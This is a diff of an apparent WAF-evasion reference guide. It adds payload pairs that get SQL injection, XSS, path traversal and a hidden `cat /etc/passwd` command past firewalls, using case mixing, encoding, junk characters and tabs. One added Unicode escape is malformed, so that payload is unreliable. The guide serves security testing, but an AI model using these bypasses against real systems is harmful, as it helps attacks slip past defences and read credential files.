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@ -5,7 +5,7 @@
![Main Logo](images/how-wafs-work.png 'How wafs work') ![Main Logo](images/how-wafs-work.png 'How wafs work')
__A Concise Definition:__ A web application firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. *(Source [PCI DSS IS 6.6](https://www.pcisecuritystandards.org/documents/information_supplement_6.6.pdf))* __A Concise Definition:__ A web application firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. *(Source: [PCI DSS IS 6.6](https://www.pcisecuritystandards.org/documents/information_supplement_6.6.pdf))*
Feel free to [contribute](CONTRIBUTING.md). Feel free to [contribute](CONTRIBUTING.md).
@ -1514,7 +1514,7 @@ Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
### Keyword Filter Detection/Bypass ### Keyword Filter Detection/Bypass
__Example__: SQL Injection __Case__: SQL Injection
##### • Step 1: ##### • Step 1:
__Keywords Filtered__: `and`, `or`, `union` __Keywords Filtered__: `and`, `or`, `union`
@ -1578,7 +1578,7 @@ __Standard__: `<script>alert()</script>`
__Bypassed__: `<ScRipT>alert()</sCRipT>` __Bypassed__: `<ScRipT>alert()</sCRipT>`
__Standard__: `SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'` __Standard__: `SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'`
__Bypassed__: `sELecT * FrOM all_tables whERe OwNeR = 'DATABASE_NAME'` __Bypassed__: `sELecT * FrOM all_tables whERe OWNER = 'DATABASE_NAME'`
__2. URL Encoding__ __2. URL Encoding__
- Encode normal payloads with % encoding/URL encoding. - Encode normal payloads with % encoding/URL encoding.
@ -1597,7 +1597,7 @@ __3. Unicode Encoding__
- You can encode entire/part of the payload for obtaining results. - You can encode entire/part of the payload for obtaining results.
__Standard__: `prompt()` __Standard__: `prompt()`
__Obfuscated__: `pro\u006dpt()` __Obfuscated__: `\u0070r\u06f\u006dpt()`
__Standard__: `../../appusers.txt` __Standard__: `../../appusers.txt`
__Obfuscated__: `%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFappusers.txt` __Obfuscated__: `%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFappusers.txt`
@ -1667,11 +1667,15 @@ __Obfuscated__: `<iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:al"+"er"+"t(
__9. Junk Chars__ __9. Junk Chars__
- Normal payloads get filtered out easily. - Normal payloads get filtered out easily.
- Adding some junk chars avoid detection (specific cases only). - Adding some junk chars helps avoid detection (specific cases only).
- They often help in confusing regex based firewalls.
__Standard__: `<script>alert()</script>` __Standard__: `<script>alert()</script>`
__Obfuscated__: `<script>+-+-1-+-+alert(1)</script>` __Obfuscated__: `<script>+-+-1-+-+alert(1)</script>`
__Standard__: `<BODY onload=alert()>`
__Obfuscated__: ```<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>```
__Standard__: `<a href=javascript;alert()>ClickMe ` __Standard__: `<a href=javascript;alert()>ClickMe `
__Bypassed__: `<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe` __Bypassed__: `<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe`
@ -1690,6 +1694,17 @@ __11. Uninitialized Variables__
__Standard__: `cat /etc/passwd` __Standard__: `cat /etc/passwd`
__Obfuscated__: `cat$u $u/etc$u/passwd$u` __Obfuscated__: `cat$u $u/etc$u/passwd$u`
__12. Random Tabs__
- Tabs often help to evade firewalls especially regex based ones.
- Tabs can help break firewall regex when the regex is expecting whitespaces and not tabs.
__Standard__: `<IMG SRC="javascript:alert();">`
__Bypassed__: `<IMG SRC=" javascript:alert();">`
__Variant__: `<IMG SRC=" jav ascript:alert ();">`
__Standard__: `<iframe src=javascript:alert(1)></iframe>`
__Obfuscated__: `<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>`
### Browser Bugs: ### Browser Bugs:
#### Charset Bugs: #### Charset Bugs:
- We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads. - We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.